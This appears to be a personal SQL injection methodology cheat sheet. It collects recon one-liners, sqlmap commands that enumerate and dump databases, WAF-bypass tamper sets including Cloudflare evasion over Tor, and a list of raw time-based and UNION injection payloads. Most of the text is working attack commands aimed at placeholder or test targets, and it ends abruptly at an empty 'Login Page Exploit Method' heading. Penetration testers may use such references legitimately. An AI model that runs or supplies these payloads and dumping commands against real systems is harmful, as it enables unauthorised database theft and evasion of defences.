🚩My SQL injection Methodology

• SQL Injection Attacks

-------------------------------------------------------------

-------------------------------------------------------------

Automated SQL INJECTION Finding Waybackurls | SQLMAP

1. /root/go/bin/waybackurls http://testphp.vulnweb.com >> /home/kali/file.txt

2. cat /home/kali/file.txt | /root/go/bin/gf sqli

3. sqlmap -m sqlitest.txt --level 5 --risk 3 --batch --dbs --tamper=between

-------------------------------------------------------------

PHP EAR (Execute After Redirect) To SQLi

1. Found PHP EAR Vulnerability by checking the content leanth on ffuf results.

2. Added Match and Replace Location Header rule in Burp Suite to Stop the Redirect to Login Page.

3. Found an employee search page. (Access Control issue)

4. Employee search page was Vulnerable to SQLi.

5. Run sqlmap and Dumped the database.

6. Commands POC

7. ffuf -u https://bsides.kuldeep.io/FUZZ.php -w raft-small-words.txt -fc 403

8. add Match and Replace Rule to remove Location Header in Response body

9. Type: Response Header

10. Match: Location: index.php

11. sqlmap -u http://bsides.kuldeep.io/esearch.php --method POST --data search_term=1

12. sqlmap -u http://bsides.kuldeep.io/esearch.php --method POST --data search_term=1 --dbs

-------------------------------------------------------------

Automated SQL INJECTION Finding using | Jeeves

echo "https://exampl.com" | gf sqli | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 10

(1) One-Liner SQLi Finding

findomain -t http://testphp.vulnweb.com -q | /root/go/bin/httpx -silent | /root/go/bin/anew | /root/go/bin/waybackurls | /root/go/bin/gf sqli >> sqli ; sqlmap -m sqli -batch --random-agent --level 1

-------------------------------------------------------------

(2) One-Liner SQLi Finding

/root/go/bin/httpx -l file.txt -silent -threads 1000 | xargs -I@ sh -c findomain -t @ -q | /root/go/bin/httpx -silent | /root/go/bin/anew | /root/go/bin/waybackurls | /root/go/bin/gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1

------------------------------------------------------------

(3) One-Liner SQLi-TimeBased Finding

/root/go/bin/gau http://testphp.vulnweb.com  | sed 's/=[^=&]*/=YOUR_PAYLOAD/g' | grep ?*= | sort -u | while read host;do (time -p curl -Is $host) 2>&1 | awk '/real/ { r=$2;if (r >= TIME_OF_SLEEP ) print h " => SQLi Time-Based vulnerability"}' h=$host ;done

------------------------------------------------------------

(4) One-Liner Subdomains SQLI Finding

cat Subdomains.txt | /root/go/bin/httpx -silent | /root/go/bin/anew | /root/go/bin/waybackurls | /root/go/bin/gf sqli >> sqli ; sqlmap -m sqli -batch --random-agent --level 5 --risk 3

------------------------------------------------------------

Bypass WAF using TOR

sqlmap -r request.txt --time-sec=10 --tor --tor-type=SOCKS5 --check-tor

-----------------------------------------------------------

SQLMAP Attacks

Steps to Produce Commands to Sqlmap

1. sqlmap -r request.txt

2. sqlmap -r request.txt --dbs

3. sqlmap -r request.txt -D (DB Name) --tables

4. sqlmap -r request.txt -D (DB Name) -T (Table Name) --dump

-----------------------------------------------------------

SQLI Paylods Wordlist

• (select(0)from(select(sleep(6)))v)/'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"/

• 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

• '"`\

• ' OR 1=1 --

• if(1=1,sleep(10),0)/'XOR(if(1=1,sleep(10),0))OR'"XOR(if(1=1,sleep(10),0))OR"/

• %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect

• '%2b(select*from(select(sleep(20)))a)%2b'

• SELECT * FROM users where username=“admin”; — AND password=“”;

• 'xor(if(now()=sysdate(),sleep(10),0))or'

• someparam[id) VALUES (NULL); WAITFOR DELAY '0:0:5';--]=test

• '+UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x636f70616c7075626c697368696e675f636f70616c),4,5,6,7,8,9,10,11,12,13,14,15 -- -

• "wait for delay'0:0:15'--"

• (SELECT*FROM(SELECT(SLEEP(10)))a)

• X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'

• ('1 or 1 =' 1) 4

• '+UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x636f70616c7075626c697368696e675f636f70616c),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -

• "waitfor delay'0:0:15'--" --

• "<script>alert(1)</script>"@example.com

• '+AND+(SELECT+2016+FROM+(SELECT(SLEEP(15)))SIfv)+AND+'vDZP'%3d'vDZP

• "0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z"

----------------------------------------------------------

What's your flow for the detection SQLI

I tried many ways but was unsuccessful.

1. use the burp live scanner only to check sqli

2. use time base payload list on burp intruder and check the length/response complete/etc

3. Capture the requests that might be interesting and directly put them in sqlmap

-----------------------------------------------------------

Test SQLi GET, POST URL, Cookie, User-Agent, X-Forwaded-For Custom Harder in Request

Try Sqlmap --wizard

sqlmap -r loginRequest.txt -p username

sqlmap -r request.txt --level 3 --risk 2 -p number -a

-----------------------------------------------------------

(Blind SQLI) SQLMAP Bypass Cloudflare WAF - Database Takeover

sqlmap -r request.txt --dbs --risk=1 --level=3 --temper=between,tofla

-----------------------------------------------------------

SQLMap Tamper Scripts (SQL Injection and WAF bypass)

sqlmap -u 'http://www.site.com:80/search.cmd?form_state=1’ --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

These are some targeted tamper sets by DBMS type, good to have handy when testing;

General Tamper testing:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greate

-----------------------------------------------------------

What I use for MySQL Enumeration and DB hacking is:

-(minus minus-tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

If you have any issues make sure your setting these values:

–level 3 –risk 3 –flush-session –random-agent ← This is almost critical from my exp.

Remember, always try to point sqlmap to a specific GET parameter with ‘-p <paramname’ for instance if URL Example Domain 70 sqlmap -p item

One additional thing that has helped me, is add -a at the end, so it dumps anything it finds in the DB

-----------------------------------------------------------

# Bypass WAF SQLMAP

Example:

sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs $ sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --dbs $ sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs

sqlmap -u "http://sitetarget.com/login" --data="userid=admin&passwd=admin" --method POST --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs $ sqlmap -u "sitetarget.com/admin/login_action" method="POST" --data="uname=admin*&pass=admin&captcha=123456" --cookie="input cookie" --dbs --technique=T $ sqlmap -u "sitetarget.com/admin/login_action" method="POST" --data="uname=admin*&pass=admin&captcha=123456" --cookie="input cookie" --headers="input field header" --dbs --technique=T

Example Bypass WAF SQLMap New Version Update :

sqlmap -u "Target.com" --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs $ sqlmap -u "Target.com" --random-agent -v 3 --dbs $ sqlmap -u "Target.com" --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs $ sqlmap -u "http://sitetarget.com/login" --data="userid=admin&passwd=admin" --method POST --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs $ sqlmap -r poc.txt --threads=10 --random-agent --level=5 --risk=3 --tamper=space2comment,between --dbs

example dump DB use POC HTTP post request :

sqlmap -r poc.txt --threads=10 --random-agent --level=5 --risk=3 --tamper=space2comment,between --dbms=MySQL -D database_target --tables

example WAF Header :

sqlmap -u https://target.com/vote/check_vote.php --headers="X-Forwarded-For:1*" -p X-Forwarded-For --level=5 --risk=3 --tamper="space2comment,between,randomcase" --technique="BEUST" --no-cast --random-agent --drop-set-cookie --dbms=mysql --dbs $ sqlmap -u https://target.com/vote/check_vote.php --headers="X-Forwarded-For:1*" -p X-Forwarded-For --level=5 --risk=3 --tamper="space2comment,between,randomcase" --technique="BEUST" --no-cast --random-agent --dbs

example WAF CloudFlare use proxy Tor default :

sqlmap -u "https://target.com" --data="id=63665%20RLIKE%20-bla-blablabla" --time-sec=20 --random-agent --level=5 --risk=3 --tamper="space2comment,between,randomcase,charencode" --technique=BEUST --privileges --no-cast --tor --tor-port=9050 --tor-type=socks5 --check-tor --banner --union-char=1 --dbms=MySQL --dbs

-----------------------------------------------------------

Login Page Exploit Method